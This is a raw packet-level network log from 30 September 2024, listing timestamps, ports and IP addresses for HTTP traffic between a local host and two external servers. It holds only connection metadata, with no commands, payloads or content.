Sep 30, 2024 13:59:30.442514896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442536116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442547083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442567110 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.442632914 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.442636013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442651987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442662954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442676067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442678928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.442687035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442706108 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.442706108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442718029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442728043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442732096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.442738056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442750931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.442771912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442775011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.442783117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442792892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442804098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442814112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.442815065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442826986 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.442858934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.442894936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442905903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442915916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442938089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442938089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.442953110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442956924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.442964077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442974091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442981005 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.442984104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442989111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.442998886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.443003893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.443010092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.443020105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.443027973 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.443034887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.443053007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.443073034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.528156042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528173923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528187037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528234005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528242111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.528244972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528256893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528268099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528278112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528295040 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.528316975 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.528563976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528609991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.528673887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528685093 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528696060 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528709888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528719902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.528729916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528738976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528748989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528752089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.528760910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528769016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.528769970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528780937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528791904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.528799057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.528817892 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.528837919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529007912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529021025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529032946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529042006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529055119 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529078960 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529202938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529249907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529270887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529280901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529306889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529325962 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529331923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529345036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529371023 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529386044 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529458046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529474974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529503107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529520988 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529613018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529623985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529633999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529644966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529665947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529670000 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529675961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529685974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529690981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529692888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529692888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529702902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529714108 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529733896 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529742956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529752970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529762983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529763937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529791117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529793978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529802084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529812098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529819965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529849052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529850960 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529889107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.529988050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.529999018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530014992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530024052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530034065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530035019 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.530049086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530060053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530060053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.530070066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530077934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.530080080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530090094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530098915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530109882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.530128956 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.530277967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530288935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530314922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530320883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.530348063 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.530391932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530433893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.530458927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530471087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530498981 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.530528069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530545950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530566931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.530597925 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.530649900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530659914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530668974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530679941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530689955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530689955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.530699968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530708075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530719042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530720949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.530729055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.530740976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.530769110 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.831765890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.831765890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.836909056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.836924076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:31.704863071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:31.704963923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:32.037283897 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:32.042190075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:32.603741884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:32.603842020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:32.604028940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:32.697746038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:32.697834015 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:32.700165987 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:32.705596924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:33.258646965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:33.258667946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:33.258735895 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:33.258774042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:33.278925896 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:33.283951044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:34.603841066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:34.603898048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:34.604007959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:34.604055882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:34.604149103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:34.604186058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.346832037 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.346960068 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.351810932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.351924896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.351937056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.351972103 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.351998091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.352003098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.352010965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.352040052 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.352055073 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.352194071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.352215052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.352231026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.352250099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.352262020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.352294922 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.352314949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.352332115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.352368116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.352391005 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.356658936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.356671095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.356703997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.356731892 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.356761932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.356802940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.356925964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.356949091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.356961966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.356972933 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.356986046 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.357008934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.357033014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.357080936 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.357254982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.357306957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.357317924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.357345104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.357362986 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.357392073 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.357410908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.357458115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.357481003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.357526064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.357542992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.357590914 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.361406088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.361459017 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.361493111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.361516953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.361540079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.361565113 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.361593962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.361604929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.361633062 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.361644030 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.361651897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.361663103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.361676931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.361694098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.361716032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.361723900 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.361769915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:35.361802101 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.361813068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.361830950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.361912966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.361977100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.361988068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.361999035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362015963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362035036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362104893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362114906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362153053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362173080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362215042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362298012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362315893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362325907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362339973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362394094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362405062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362469912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362479925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362490892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.362504005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.366187096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.366198063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.366210938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.366309881 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.366319895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.366333008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.366343975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.366852999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.366863966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.366914034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.366925001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.366977930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367021084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367032051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367043018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367079973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367093086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367121935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367131948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367167950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367177963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367259026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367269993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367283106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367305994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367358923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367398024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367463112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367474079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367489100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367546082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367563009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367573977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367641926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:35.367651939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:36.551178932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:36.551301956 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:36.555147886 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:36.559997082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:37.250927925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:37.250998974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:37.584523916 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:37.589518070 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:37.589601994 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:37.600955963 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:37.605844975 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.219834089 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.219857931 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.219873905 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.219885111 CEST	80	49723	147.45.44.104	192.168.2.6
Sep 30, 2024 13:59:38.219897985 CEST	49723	80	192.168.2.6	147.45.44.104
Sep 30, 2024 13:59:38.219912052 CEST	80	49723	147.45.44.104	192.168.2.6
